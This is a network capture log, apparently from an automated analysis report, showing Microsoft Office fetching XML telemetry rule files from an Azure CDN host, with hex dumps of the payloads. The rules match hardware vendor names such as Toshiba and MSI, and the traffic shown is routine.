2024-10-24 06:50:54 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49813	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:54 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:54 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:54 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: e3c75742-001e-0014-79f3-245151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065054Z-r197bdfb6b4cz6xrsdncwtgzd40000000p6g000000002ncu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:54 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49814	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:54 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:54 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:54 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: e79f0600-d01e-00ad-4ef2-24e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065054Z-15b8d89586flspj6y6m5fk442w00000004fg00000000087a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:54 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49812	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:54 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:54 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 759c8b5d-301e-003f-27f2-24266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065054Z-15b8d89586fzhrwgk23ex2bvhw00000001b000000000bp7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:54 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49815	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:54 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:54 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:54 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 27632888-301e-0096-61d8-21e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065054Z-16849878b78mhkkf6kbvry07q0000000077g000000008efy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:54 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49816	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:55 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:55 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:55 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 81ed7e34-d01e-008e-11ae-25387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065055Z-16849878b78dghrpt8v731n7r4000000074000000000hqdp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 06:50:55 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49819	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:55 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:56 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:55 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: d2a5b3e5-101e-0079-35e1-255913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065055Z-16849878b7862vlcc7m66axrs000000007a000000000caww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-24 06:50:56 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49817	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:55 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:55 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:55 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 3f3879b0-501e-0035-0b40-22c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065055Z-16849878b78hz7zj8u0h2zng1400000007b000000000fywk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:55 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49818	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:55 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:55 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:55 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 25f4145c-101e-005a-559b-24882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065055Z-15b8d89586f8nxpt5xx0pk7du800000004gg0000000055fn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:55 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49820	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:55 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:55 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:55 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: f96c54c1-a01e-0098-5bf5-248556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065055Z-r197bdfb6b4cz6xrsdncwtgzd40000000p0g00000000k25n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:55 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49821	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:55 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:55 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 44f017bc-601e-000d-6df3-242618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065055Z-15b8d89586f4zwgbz365q03b0c0000000e3g000000008spy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:56 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49824	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:56 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 06:50:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:56 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: a706a42d-501e-008c-4ef2-24cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T065056Z-r197bdfb6b46gt25anfa5gg2fw00000002t000000000dhq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 06:50:56 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49822	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:56 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
